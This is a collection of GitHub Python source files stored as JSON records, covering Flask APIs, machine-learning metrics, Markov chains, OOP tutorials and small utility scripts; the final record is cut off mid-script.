{"seq_id":"14176634243","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\nimport cv2\nimport numpy as np\nimport base64\nfrom PIL import Image\nimport io\nimport socket\nimport imgutils\nfrom model import Classifier\n# inbound rule to port 9000 on TCP\n\nmcf = Classifier()\nmcf.load_weights('modelcifar10-loss00007.h5')\n\nprint('modelo cargado!')\nclassnames = [\n    'avión',\n    'automóvil',\n    'pájaro',\n    'ciervo',\n    'gato',\n    'perro',\n    'rana',\n    'caballo',\n    'barco',\n    'camión'\n] \n\ndef obtener_direccion_ip():\n    hostname = socket.gethostname()\n    direccion_ip = socket.gethostbyname(hostname)\n    print(direccion_ip)\n    return direccion_ip\n\napp = Flask(__name__)\nCORS(app)\n\ndef base64_to_image(base64_string):\n    image_data = base64.b64decode(base64_string)\n    image = Image.open(io.BytesIO(image_data))\n    # image = np.array(image)\n    # image.save('output.jpg', 'JPEG')\n    return np.array(image)\n\n@app.route('/', methods=['POST'])\ndef process_image():\n    data = request.get_json()\n    # image = data['image'].split(',')[1]\n    image = data['image']\n    image = base64_to_image(image)\n    image = imgutils.crop_squared_and_reshape(image, (32, 32))\n    image = image.astype(np.float32)[np.newaxis, ...]\n    # print(image.shape)\n    res = mcf(image).numpy()[0].argmax()\n    res = classnames[res]\n    dist = imgutils.calc_dist(image[0], res)\n    dist = round(dist*10000)/10000\n    print(res)\n    return jsonify({'message': res + f'. Distancia al objeto: {dist} metros.'}) \n\n@app.route('/', methods=['GET'])\ndef test_get():\n    return jsonify({'message': 'si hizo pa!'}) \n\nif __name__ == '__main__':\n    app.run(host=obtener_direccion_ip(), debug=True, port=9000)","repo_name":"unrealJuanpa/VisualVoice","sub_path":"backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70827358821","text":"\nfrom .metrics import _f1_score\ndef token_level_metric(label_list, preds_list):\n    \"\"\"\n    统计所有论元字符级别的PRF值。首先需要计算每个论元的PRF,而且注意label_list的每行中可能包含多个论元需要单独计算\n    :param label_list: [[\"xxx\", \"xx\", ...]*data_nums]，内层列表中是当前事件类型和论元角色下的所有论元字符串\n    :param preds_list: [[\"xxx\", \"xx\", ...]*data_nums]\n    :return: token_level_precision, token_level_recall, token_level_f1\n    \"\"\"\n    all_label_roles_num, all_pred_roles_num = 0, 0\n    all_pred_role_score = 0\n\n    for i in range(len(label_list)):\n        all_label_roles_num += len(label_list[i])\n    for i in range(len(preds_list)):\n        all_pred_roles_num += len(preds_list[i])\n    for i in range(len(label_list)):\n        pred_labels = preds_list[i][:]\n        for _label in label_list[i]:\n            _f1 = [_f1_score(_label, _pred) for _pred in pred_labels]\n            all_pred_role_score += max(_f1) if _f1 else 0\n\n    token_level_precision = all_pred_role_score / all_pred_roles_num if all_pred_roles_num else 0\n    token_level_recall = all_pred_role_score / all_label_roles_num if all_label_roles_num else 0\n    token_level_f1 = 2 * token_level_precision * token_level_recall / (token_level_precision + token_level_recall) if token_level_precision + token_level_recall else 0\n\n    return token_level_precision, token_level_recall, token_level_f1\n\nfrom .ccks3 import readjson\ndef compute_metric2(truefile, predfile):\n    truemap = readjson(truefile)\n    predmap = readjson(predfile)\n    ids = list(predmap.keys())\n    for id in ids:\n        if id not in truemap:\n            predmap.pop(id)\n            print(id)\n    role_pred, role_true = [], []\n    trigger_pred, trigger_true = [], []\n    for id, item in predmap.items():\n        for event in item['events']:\n            event_type = event['type']\n            for mention in event['mentions']:\n                if mention['role'] == 'trigger':\n                    # mention['span'][1] = mention['span'][0] + len(mention['word'])\n                    trigger_pred.append([id] + mention['span'] + [event_type])\n                else:\n                    role_pred.append([id] + mention['span'] + [event_type + mention['role']])\n    \n    for id, item in truemap.items():\n        for event in item['event_list']:\n            event_type = event['event_type']\n            trigger = event['trigger']\n            trigger_start_index = event['trigger_start_index']\n            trigger_end_index = trigger_start_index + len(trigger)\n            trigger_true.append([id] + [trigger_start_index, trigger_end_index] + [event_type])\n            for argument in event['arguments']:\n                argument_start_index = argument['argument_start_index']\n                argument_end_index = argument_start_index + len(argument)\n                role_true.append([id] + [argument_start_index, argument_end_index] + [event_type + argument['role']])\n    \n    from .metrics import _precision_score, _recall_score, _f1_score\n    trigger_result = [ _precision_score(trigger_true, trigger_pred), \\\n        _recall_score(trigger_true, trigger_pred), _f1_score(trigger_true, trigger_pred) ]\n\n    role_result = [ _precision_score(role_true, role_pred), \\\n        _recall_score(role_true, role_pred), _f1_score(role_true, role_pred) ]\n    print(trigger_result, role_result)\n    return trigger_result, role_result\n","repo_name":"ksboy/ccks3","sub_path":"metrics/lic.py","file_name":"lic.py","file_ext":"py","file_size_in_byte":3432,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"41069180253","text":"# -----------------------------------------------------\n# -- Object Oriented Programming => Class Attributes --\n# -----------------------------------------------------\n# Class Attributes: Attributes Defined Outside The Constructor\n# -----------------------------------------------------------\n\n\n# -------------------------------------------------------------------\n# -- Object Oriented Programming => Class Methods & Static Methods --\n# -------------------------------------------------------------------\n# Class Methods:\n# - Marked With @classmethod Decorator To Flag It As Class Method\n# - It Take Cls Parameter Not Self To Point To The Class not The Instance\n# - It Doesn't Require Creation of a Class Instance\n# - Used When You Want To Do Something With The Class Itself\n# Static Methods:\n# - It Takes No Parameters\n# - Its Bound To The Class Not Instance\n# - Used When Doing Something Doesnt Have Access To Object Or Class But Related To Class\n# -----------------------------------------------------------\n\n\n\n# static method -------- no  para\n# class method ------ cls\n#insta method ----- self \n\nclass Member :\n\n        #this is class attribute (مرتبطة بالكلاس نفسه وليس الانستانس )\n\n    name_not_allow = 'hh'\n    user_count = 0    # static \n\n       \n\n    \n\n\n    def __init__(self,name = 'taha' , age = 6 ):\n        # instance attribute \n        self.name =name\n        self.age = age\n        Member.user_count+=1\n\n    #instance method take self parameter \n\n        # this is instance method(with self parameter)\n    def full_info (self , gender):\n        if (gender == 'male') :\n            return f\"mr.{self.name} {self.age}\"\n        elif (gender == 'female'):\n             return f\"miss.{self.name} {self.age}\"\n\n    def new_test(self , gender):\n        self.gender = gender\n        return f\"{self.full_info(self.gender)}\"\n\n    def test2(self):\n        return f\"hello {self.gender}\"\n        \n\n    #this is class method \n    @classmethod\n    def test3(cls):\n        return \"we have \"+str(Member.user_count)+\" user in our system\"\n        #return \"we have \"+str(cls.user_count)+\" user in our system\"\n\n    @staticmethod\n    def say_hello():\n        return f\"hello from static\"\n\n    \n\n\n    # self pointer to the object i make \n\n     # self pointer to the object i make \n\n\n  \n    \n\n\n\none =Member(\"motaha\")\n\ntwo = Member()\nprint(dir(Member))\n#print(one.__class__)\n\nprint(one.name)\nprint(two.full_info('male'))\nprint(two.new_test('female'))\nprint(two.test2())\nprint(two.test2())\n\nprint(Member.test3())\nprint(Member.user_count)\nprint(Member.say_hello())\n\n\nprint(Member.full_info(one , 'male'))\n\n\n\n### there is defrence between class method and instance method ///// instance var and class var\n### there is defrence between class method and instance method  ///// instance var and class var\n### there is defrence between class method and instance method  ///// instance var and class var\n\n# static att----------- for all member ------ out of init \n# static method ------- for all member ------- with out self \n\n\n\n\n        \n        ","repo_name":"motaha1/asal_python","sub_path":"oop/oop.py","file_name":"oop.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40521942914","text":"import random\n\n\ndef one_try(coins, goal):\n    \"\"\"\n    place bets while there is at least 1 coin left\n    probability of winning is 50%, increment/decrement\n    coins after each run, return tuple\n    (number_of_bets: int, won: boolean)\n    \"\"\"\n    number_of_bets = 0\n    won = False\n\n    while coins > 0 and coins < goal:\n        number_of_bets += 1\n        choice = random.choice([0, 1])\n        if choice == 1:\n            coins += 1\n        else:\n            coins -= 1\n\n    if coins == goal:\n        won = True\n\n    return number_of_bets, won\n\n\ndef run_n_trials(coins, goal, trials):\n    \"\"\"\n    Run simulation with n trials\n    return list of tuples (number_of_bets: int, won: boolean)\n    \"\"\"\n    repeated_tries = []\n    repeated = 0\n    while repeated <= trials:\n        repeated += 1\n        return_value = one_try(coins, goal)\n        repeated_tries.append(return_value)\n\n    return repeated_tries\n\n\ndef get_average_winrate(results):\n    \"\"\"\n    Calculate average win rate based on the data returned\n    from run_n_trials\n    \"\"\"\n    total_games = sum([i[0] for i in results])\n    total_wins = sum([i[0] for i in results if i[1] is True])\n    print(round((total_wins / total_games) * 100, 2))\n\n\n\nprint(get_average_winrate(run_n_trials(10, 20, 100)))","repo_name":"CousinOfDeath/python-training","sub_path":"Games/gambler.py","file_name":"gambler.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9684293980","text":"#!/usr/bin/env python3\n\"\"\"determines the steady\n state probabilities of\n  a regular markov chain\"\"\"\n\nimport numpy as np\n\n\ndef markov_chain(P, s, t=1):\n    \"\"\"P is a square 2D numpy.ndarray of\n        shape (n, n) representing the transition matrix\n        P[i, j] is the probability of transitioning from state i to state j\n        n is the number of states in the markov chain\n    s is a numpy.ndarray of shape (1, n) representing the\n    probability of starting in each state\n    t is the number of iterations that the markov chain has been through\n    Returns: a numpy.ndarray of shape (1, n) representing the\n    probability of being in a specific state after\n    t iterations, or None on failure\"\"\"\n\n    if not isinstance(P, np.ndarray) or len(P.shape) != 2:\n        return None\n    n = P.shape[0]\n    if n != P.shape[1]:\n        return None\n    if not isinstance(s, np.ndarray) or s.shape != (1, n):\n        return None\n    if type(t) != int or t < 0:\n        return None\n    if np.sum(P, axis=1).all() != 1:\n        return None\n    if np.sum(s) != 1:\n        return None\n    P_t = np.linalg.matrix_power(P, t)\n    S_t = np.matmul(s, P_t)\n    return S_t\n\n\ndef regular(P):\n    \"\"\"\n\n    :param P:  is a is a square 2D numpy.ndarray\n     of shape (n, n) representing the transition matrix\n    :return: a numpy.ndarray of shape (1, n)\n    containing the steady state probabilities,\n     or None on failure\n    \"\"\"\n    if not isinstance(P, np.ndarray) or len(P.shape) != 2:\n        return None\n    if P.shape[0] != P.shape[1]:\n        return None\n    for row in P:\n        if not np.isclose(np.sum(row), 1):\n            return None\n    if np.all(P <= 0):\n        return None\n\n    try:\n        dim = P.shape[0]\n        q = (P - np.eye(dim))\n        ones = np.ones(dim)\n        q = np.c_[q, ones]\n        QTQ = np.dot(q, q.T)\n        bQT = np.ones(dim)\n        return np.column_stack(np.linalg.solve(QTQ, bQT))\n    except Exception:\n        return None\n","repo_name":"Karenahv/holbertonschool-machine_learning","sub_path":"unsupervised_learning/0x02-hmm/1-regular.py","file_name":"1-regular.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3302621400","text":"import json\nimport os\nimport sys\n\nfrom src.GracefulKiller import GracefulKiller\nfrom src.youtube.songEnricher import enrich_song\n\n\njson_file = os.path.join(os.path.dirname(__file__), \"../../data/data.json\")\nsimplified_file = os.path.join(os.path.dirname(__file__), \"../../data/simplified.json\")\njsonToSimplify = {}\nsimplified = []\nwith open(json_file) as json_data:\n    jsonToSimplify = json.load(json_data)\n\n\ndef main(songs_json):\n    song_entries = songs_json['entries']\n    for key in song_entries:\n        for songIndex in range(0, len(song_entries[key])):\n            entry = song_entries[key][songIndex]\n\n            kind = \"none\"\n            url = entry['url']\n            title = \"%s - %s\" % (entry['artist'], entry['song'])\n            if \"youtube\" in entry and \"snippet\" in entry['youtube']:\n                title = entry[\"youtube\"][\"snippet\"][\"title\"]\n                kind = entry[\"youtube\"][\"id\"][\"kind\"]\n\n                if \"videoId\" in entry[\"youtube\"][\"id\"]:\n                    url = entry[\"youtube\"][\"id\"][\"videoId\"]\n\n                if \"playlistId\" in entry[\"youtube\"][\"id\"]:\n                    url = entry[\"youtube\"][\"id\"][\"playlistId\"]\n\n            simplified.append({\n                \"genre\": entry[\"genre\"],\n                \"id\": entry[\"unique_id\"],\n                \"title\": title,\n                \"kind\": kind,\n                \"url\": url\n            })\n    with open(simplified_file, 'w') as outfile:\n        json.dump(simplified, outfile, indent=4)\n\n\nif __name__ == '__main__':\n    main(jsonToSimplify)\n","repo_name":"plamen-kolev/1111-Songs","sub_path":"data_parser/src/programs/simplifyForRendering.py","file_name":"simplifyForRendering.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"37171803459","text":"ANSI_CODES = {\n    'fg_colour_template': u'\\u001b[38;5;{}m',\n    'bg_colour_template': u'\\u001b[48;5;{}m',\n    'reset': u'\\u001b[0m',\n}\n\nCOLOURS = {\n    'value': 44,\n}\n\n\ndef colourise(text, fg_colour_id, bg_colour_id=None):\n    \"\"\"Style a string with ANSI colour IDs.\n\n    Args:\n        text (str): Message to apply the styling to\n        fg_colour_id (int): A value 0 to 255 representing the ANSI colour\n            to be used as the font colour\n        bg_colour_id (int): A value 0 to 255 representing the ANSI colour\n            to be used as the highlight colour\n\n    Returns:\n        str: The ``text`` argument wrapped in the desired ANSI codes\n    \"\"\"\n    fg_colour = ANSI_CODES['fg_colour_template'].format(fg_colour_id)\n\n    if bg_colour_id:\n        bg_colour = ANSI_CODES['bg_colour_template'].format(bg_colour_id)\n    else:\n        bg_colour = ''\n\n    return '{}{}{}{}'.format(bg_colour, fg_colour, text, ANSI_CODES['reset'])\n\n\ndef confirm(text):\n    \"\"\"Ask the user to confirm.\n\n    A confirmation is valid when 'y' or 'yes' was given as raw input.\n\n    Args:\n        text (str): Message passed to ``raw_input`` asking user for input\n\n    Returns:\n        bool: Whether the user confirmed or not\n    \"\"\"\n    response = raw_input(text)\n    ok = False\n\n    try:\n        ok = response.lower() in ['y', 'yes']\n    except Exception:\n        pass\n\n    return ok\n","repo_name":"KanoComputing/kano-doc","sub_path":"src/kano_doc/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"22507542724","text":"import os, random\nfrom util.data import Data\n\n# Set the random seed.\nSEED = 0\nrandom.seed(SEED)\nSAMPLE_SIZE = 80\n\nfname = \"wendy-virtual.csv\"\ntest = \"readers\"\ndata_name = fname + \".pkl\"\nsub_data_name = test + \"_\" + data_name\n\n\nprint(\"Loading data..\")\nif not os.path.exists(sub_data_name):\n    print(\"Loading original data..\")\n    if os.path.exists(data_name):\n        d = Data.load(data_name)\n    else:\n        d = Data.load(fname, sep=\",\", verbose=True)\n        d.save(data_name)\n        # 12002 (repeated header line)\n        # 97498 (repeated header line)\n        #  ... (4 more occurrences of this line)\n    print(\"Done.\")\n    print()\n    print(d)\n    # Reduce to the \"readers\" test type\n    d = d[d[\"Test\"] == \"readers\"]\n    print(d)\n    # Collect by unique configurations\n    params = [\"Frequency\", \"File Size\", \"Record Size\", \"Num Threads\"]\n    d = d[params].unique().collect(d)\n    d = d[params + [\"Throughput\"]]\n    # Reduce all throughput sets with more than 80 samples to 80 samples.\n    d[\"Throughput\"] = (random.sample(tvals, SAMPLE_SIZE) for tvals in d[\"Throughput\"])\n    # Sort the data (to make it reasonably ordered)\n    d.sort()\n    print(d)\n    # Save the data to file.\n    d.save(sub_data_name)    \nelse:\n    d = Data.load(sub_data_name)\nprint(\"Done.\")\nprint()\n\n# Create new data that mimics structure of old data.\nnd = Data(\n    names=[\"Machine\",\"Store\",\"Journal\",\"Hyp\",\"Hyp_Sched\",\"VM_Sched\",\"RCU\",\"F_size\",\"R_Size\",\"Threads\",\"Mode\",\"Freq\",\"Throughput\"],\n    types=[str,      str,    str,      str,  str,        str,       int,  int,     int,     int,      str,   int,   float]\n)\nfor (freq, fs, rs, nt, thrpts) in d:\n    # Cycle through each of the throughput values and add them to the new data.\n    for thrpt in thrpts:\n        nd.append([\"new\", \"HDD\", \"yes\", \"xen\", \"CFQ\", \"NOOP\", 128, fs, rs, nt, \"Fread\", freq, thrpt])\n\nprint(nd)\nnd.save(\"MODIFIED-wendy-virtual.csv\")\n","repo_name":"tchlux/VarSys","sub_path":"Report_[2018-11-06]_MOANA_Figure_Update/prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24778276716","text":" #!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# \n\nimport subprocess, threading, shlex\nimport os\nimport sys\n\ndef run_rele(rele_type, rele_path):\n\tif rele_type == \"usb\":\n\t\tsubprocess.Popen([\"/usr/bin/python3\", \"/lib/security/howdy/usb.py\", rele_path])\n\tif rele_type == \"wifi\":\n\t\tsubprocess.Popen([\"/usr/bin/python3\", \"/lib/security/howdy/wifi.py\", rele_path])\n\n\nrele_types = sys.argv[1]\nrele_paths = sys.argv[2]\n\narr_types = rele_types.split(':')\narr_paths = rele_paths.split(':')\n\nidx = 0\nif len(arr_types) > 0:\n\tfor type in arr_types: \n\t\trele_type = arr_types[idx]\n\t\trele_path = arr_paths[idx]\n\t\trun_rele(rele_type, rele_path)\n\t\tidx = idx + 1\nelse:\n\trun_rele(rele_types, rele_paths)\n\nsys.exit(0)\n","repo_name":"kimkarus/python","sub_path":"howdy/reles.py","file_name":"reles.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9645452978","text":"from functools import reduce\n\n\n# 统计大小写字母个数\ndef statistics(string):\n    upper_count = 0\n    lower_count = 0\n    for elem in string:\n        if elem.isupper():\n            upper_count += 1\n        elif elem.islower():\n            lower_count += 1\n    return upper_count, lower_count\n\n\n# list 去重 乱序\ndef repeat_rid(name):\n    new = list(set(name))\n    return new\n\n\n# list 去重 还是以前顺序\ndef repeat_rid_order(name):\n    new = list(set(name))\n    new.sort(key=name.index)\n    return new\n\n\n# 斐波那契数列\ndef fibonacci(n):\n    if n <= 2:\n        return 1\n    else:\n        return fibonacci(n - 2) + fibonacci(n - 1)\n\n\n# 汉诺塔\ndef hanoi(n, start, go, end):\n    if n == 1:\n        print('{} -> {}'.format(start, end))\n    else:\n        hanoi(n - 1, start, end, go)\n        hanoi(1, start, go, end)\n        hanoi(n - 1, go, start, end)\n\n\n# 杨辉三角\ndef triangles(n):\n    # 杨辉三角形的数\n    def triangles_num(line, col):\n        # 每行第一个和最后一个为1\n        if col == 0 or line == col:\n            return 1\n        else:\n            # 上边两个数相加\n            return triangles_num(line - 1, col - 1) + triangles_num(line - 1, col)\n    # 画图\n    for i in range(0, n):\n        # 画空格\n        for x in range(1, n - i):\n            print(end=\"\\t\")\n        # 杨辉三角形数\n        for j in range(0, i + 1):\n            print(triangles_num(i, j), end=\"\\t\\t\")\n        print()\n\n\n# 参数组合\ndef all_parameter(name, password, national='汉', *hobby, age, married=False, **kw):\n    return name, password, national, hobby, age, married, kw\n\n\n# map函数，两个参数，一个函数，一个序列，用来把函数用到每一个序列成员\nnums = (4, 5, 8, -8, 9, -7)\nprint(tuple(map(abs, nums)))\n\n\n# reduce函数 首先参数函数必须只有两个参数，把结果继续和序列的下个元素累积\n# reduce(f, [x1, x2, x3, x4]) = f(f(f(x1, x2), x3), x4)\ndef power(num, p=2):\n    return num ** p\n\n\nprint(reduce(power, (2, 2, 2, 2)))\n\n\n# filter函数 参数函数必须返回布尔，根据布尔值来决定元素去留\ndef positive(num):\n    return num >= 0\n\n\nprint(list(filter(positive, nums)))\n\n# sorted函数， key=可以指定排序的函数\nprint(sorted(nums))\n# 下面的lambda表达式表示一个函数：输入一个值然后取其绝对值，根据绝对值来排序\nprint(sorted(nums, key=lambda x: abs(x)))\n\n\nif __name__ == '__main__':\n    print(statistics('TuTyn./'))\n    print(repeat_rid([2, 8, 5, 9, 8, 9, 2]))\n    print(repeat_rid_order([2, 8, 5, 9, 8, 9, 2]))\n    print(fibonacci(10))\n    hanoi(2, 'A', 'B', 'C')\n    triangles(6)\n","repo_name":"ActStrady/python-review","sub_path":"work/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72292986981","text":"#！/usr/bin/env python\n# -*- coding:utf-8 -*-\n# _time_='2021/10/27 15:13'\n# _PROJECT_NAME_=' alien_invasion '\n# _NAME_=' settings '\n# _USER_=' ThinkPad E15 '\n\nclass Settings():\n    \"\"\"存储游戏中所有设置类\"\"\"\n\n    def __init__(self):\n        \"\"\"初始化游戏的设置\"\"\"\n        #屏幕设置\n        self.screen_width = 1200\n        self.screen_height = 800\n        self.bg_color = (230,230,230)\n\n        #飞船的设置\n        self.ship_speed_factor = 1.5\n        self.ship_limit = 3\n\n        #子弹设置\n        self.bullet_speed_factor = 3\n        self.bullet_width = 300\n        self.bullet_height =15\n        self.bullet_color = 60,60,60\n        self.bullets_allowed = 3\n\n        # 外星人设置\n        self.alien_speed_factor = 1\n        self.fleet_drop_speed = 10\n        #fleet_direction为1表示向右移。-1为向左移\n        self.fleet_direction = 1","repo_name":"lei1201/alien_invasion","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26797175554","text":"\"\"\"This Flask app exposes a REST API which reads animal information from a\nRedis database.\"\"\"\n\nimport datetime\nimport json\nimport os\n\nimport flask\nfrom flask import request\nfrom flask import jsonify\nimport redis\n\nfrom midterm import generate_animals\n\napp = flask.Flask(__name__)\nrd = redis.StrictRedis(\n    host=\"redis\", port=6379, db=0, charset=\"utf-8\", decode_responses=True\n)\n\n\n@app.route(\"/create_animals\", methods=[\"GET\"])\ndef create_animals():\n    \"\"\"Generate animals and populate a redis database. The function expects the\n    user to pass `number=foo`\"\"\"\n    num_animals = request.args.get(\"number\", default=1, type=int)\n    for _ in range(num_animals):\n        animal = generate_animals.generate_animal()\n        rd.set(animal[\"uuid\"], json.dumps(animal))\n\n    if request.args.get(\"verbose\", default=False, type=bool):\n        return jsonify({key: rd.get(key) for key in rd.keys(\"*\")})\n    else:\n        return f\"Created {num_animals} animals.\\n\"\n\n\n@app.route(\"/get_date_range\", methods=[\"GET\"])\ndef get_date_range():\n    \"\"\"Specify a start and end date and get animals that fall within the\n    range. YYYY-MM-DDTHH:HH:SS.MS \"\"\"\n    start_date = request.args.get(\"start\", default=None, type=str)\n    start_date = datetime.datetime.fromisoformat(start_date)\n    end_date = request.args.get(\"end\", default=None, type=str)\n    end_date = datetime.datetime.fromisoformat(end_date)\n\n    animals = []\n    for key in rd.keys(\"*\"):\n        animal = json.loads(rd.get(key))\n        if (\n            start_date\n            <= datetime.datetime.fromisoformat(animal[\"created-on\"])\n            <= end_date\n        ):\n            animals.append(animal)\n\n    return jsonify(animals)\n\n\n@app.route(\"/get_uuid\", methods=[\"GET\"])\ndef get_uuid():\n    \"\"\"Get animal based on uuid specifier.\"\"\"\n    animal_uuid = request.args.get(\"uuid\", default=1, type=str)\n    return jsonify(rd.get(animal_uuid))\n\n\n@app.route(\"/update_animal\", methods=[\"GET\"])\ndef update_animal():\n    \"\"\"Edit an existing animal.\n\n    Specify an animal to edit by uuid. Then pass any of the follow animal\n    parameters with values to update: body, arms, legs, tails.\"\"\"\n\n    animal_uuid = request.args.get(\"uuid\", default=None, type=str)\n    animal = json.loads(rd.get(animal_uuid))\n\n    new_animal_body = request.args.get(\"body\", default=None, type=str)\n    if new_animal_body is not None:\n        animal[\"body\"] = new_animal_body\n\n    new_animal_arms = request.args.get(\"arms\", default=None, type=int)\n    if new_animal_body is not None:\n        animal[\"arms\"] = new_animal_arms\n\n    new_animal_legs = request.args.get(\"legs\", default=None, type=int)\n    if new_animal_legs is not None:\n        animal[\"legs\"] = new_animal_legs\n\n    new_animal_tails = request.args.get(\"tails\", default=None, type=int)\n    if new_animal_tails is not None:\n        animal[\"tails\"] = new_animal_tails\n\n    rd.set(animal_uuid, json.dumps(animal))\n    return animal\n\n\n@app.route(\"/remove_by_date\", methods=[\"GET\"])\ndef remove_by_date():\n    \"\"\"Specify a start and end date and remove all animals that fall within the\n    range. YYYY-MM-DDTHH:HH:SS.MS \"\"\"\n    start_date = request.args.get(\"start\", default=None, type=str)\n    start_date = datetime.datetime.fromisoformat(start_date)\n    end_date = request.args.get(\"end\", default=None, type=str)\n    end_date = datetime.datetime.fromisoformat(end_date)\n\n    removed = []\n    for key in rd.keys(\"*\"):\n        animal = json.loads(rd.get(key))\n        if (\n            start_date\n            <= datetime.datetime.fromisoformat(animal[\"created-on\"])\n            <= end_date\n        ):\n            removed.append(animal)\n\n    for animal in removed:\n        rd.delete(animal[\"uuid\"])\n\n    return jsonify(removed)\n\n\n@app.route(\"/get_leg_average\", methods=[\"GET\"])\ndef get_leg_average():\n    \"\"\"Get the average number of legs across all the animals in\n    the dataset.\"\"\"\n    animals = [json.loads(rd.get(key)) for key in rd.keys(\"*\")]\n    legs = [animal[\"legs\"] for animal in animals]\n    return jsonify(sum(legs) / len(legs))\n\n\n@app.route(\"/get_num_animals\", methods=[\"GET\"])\ndef get_num_animals():\n    \"\"\"Get the total number of animals in the dataset.\"\"\"\n    return jsonify(len(list(rd.keys(\"*\"))))\n\n\n@app.route(\"/get_animals\", methods=[\"GET\"])\ndef get_animals():\n    \"\"\"Print out all the animals in the dataset.\"\"\"\n    return jsonify({key: rd.get(key) for key in rd.keys(\"*\")})\n\n\nif __name__ == \"__main__\":\n\n    app.run(debug=True, host=\"0.0.0.0\")\n","repo_name":"alexwitt23/alw4364_coe332","sub_path":"midterm/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23385817045","text":"import os\nimport numpy as np\nimport tensorflow as tf\n\nfrom utils.load_config import load_config\nfrom utils.load_data import load_data\nfrom utils.extraction_model import load_extraction_model\nfrom utils.remove_transition_morph_space import remove_transition_frames\nfrom utils.PatternFeatureReduction import PatternFeatureSelection\nfrom utils.ref_feature_map_neurons import ref_feature_map_neuron\nfrom utils.calculate_position import calculate_position\nfrom plots_utils.plot_cnn_output import plot_cnn_output\nfrom plots_utils.plot_ft_map_pos import plot_ft_map_pos\nfrom plots_utils.plot_ft_map_pos import plot_ft_pos_on_sequence\nfrom models.NormBase import NormBase\n\nnp.random.seed(0)\nnp.set_printoptions(precision=3, suppress=True, linewidth=150)\n\n\"\"\"\ntest script to try an implementation of a holistic representation model by a RBF_patch_pattern function of the face\n\n\nrun: python -m tests.NormBase.t11g_holisitc_template\n\"\"\"\n\n# define configuration\nconfig_path = 'NB_t11g_holistic_template_m0002.json'\nplot_intermediate = True\ncompute_NB = False\n\ntrain = True\nhuman_full = False\ntest = False\nplot = False\n\n\n# declare parameters\nbest_eyebrow_IoU_ft = [68, 125]\nbest_lips_IoU_ft = [235, 203, 68, 125, 3, 181, 197, 2, 87, 240, 6, 95, 60, 157, 227, 111]\n\n# load config\nconfig = load_config(config_path, path='configs/norm_base_config')\n\n# create directory if non existant\nsave_path = os.path.join(\"models/saved\", config[\"config_name\"])\nif not os.path.exists(save_path):\n    os.mkdir(save_path)\n\n# load and define model\nv4_model = load_extraction_model(config, input_shape=tuple(config[\"input_shape\"]))\nv4_model = tf.keras.Model(inputs=v4_model.input, outputs=v4_model.get_layer(config['v4_layer']).output)\nsize_ft = tuple(np.shape(v4_model.output)[1:3])\nprint(\"[LOAD] size_ft\", size_ft)\nprint(\"[LOAD] Model loaded\")\nprint()\n\nnb_model = NormBase(config, tuple(config['input_shape']))\n\nif train:\n    # -------------------------------------------------------------------------------------------------------------------\n    # train\n\n    # load data\n    data = load_data(config)\n\n    # remove transition frames\n    data = remove_transition_frames(data)\n\n    # predict\n    preds = v4_model.predict(data[0], verbose=1)\n    print(\"[TRAIN] shape prediction\", np.shape(preds))\n\n    # get feature maps that mimic a semantic selection pipeline\n    # keep only highest IoU semantic score\n    eyebrow_preds = preds[..., best_eyebrow_IoU_ft]\n    print(\"shape eyebrow semantic feature selection\", np.shape(eyebrow_preds))\n    lips_preds = preds[..., best_lips_IoU_ft]\n    print(\"shape lips semantic feature selection\", np.shape(lips_preds))\n    preds = np.concatenate((eyebrow_preds, lips_preds), axis=3)\n    print(\"[TRAIN] shape preds\", np.shape(preds))\n\n    # add holistic templates\n    # left ext eyebrow, left int eyebrow, right int eyebrow, right ext eyebrow, left lips, up lip, right lip, down lip\n    rbf_template = [[[16, 21], [16, 21]], [[15, 20], [21, 26]], [[16, 21], [30, 35]], [[16, 21], [37, 42]],\n            [[35, 40], [21, 26]], [[34, 39], [27, 32]], [[36, 41], [33, 38]], [[38, 43], [27, 32]]]\n    config['rbf_sigma'] = [2100, 2100, 2100, 2100, 2100, 3000, 2100, 2500]\n\n    # left lip\n    rbf_template = [[[36, 41], [33, 38]]]\n    config['rbf_sigma'] = [2100]\n    # up lip\n    # rbf_template = [[[34, 39], [27, 32]]]  # good on c2 with 3000\n    # config['rbf_sigma'] = [3000]\n    template = [[[37, 38], [29, 30]]]\n    # rbf_template = [[[37, 38], [29, 31]]]  # a bit jittery with 600\n    config['rbf_sigma'] = [500]\n    # config['rbf_sigma'] = [600]\n    # down lip\n    rbf_template = [[[38, 40], [29, 31]]]  # [1350] start to be jittery\n    rbf_template = [[[38, 40], [28, 32]]]\n    config['rbf_sigma'] = [2200]  # upper bound\n    config['rbf_sigma'] = [2100]\n    # config['rbf_sigma'] = [2000]  # lower bound\n    patterns = 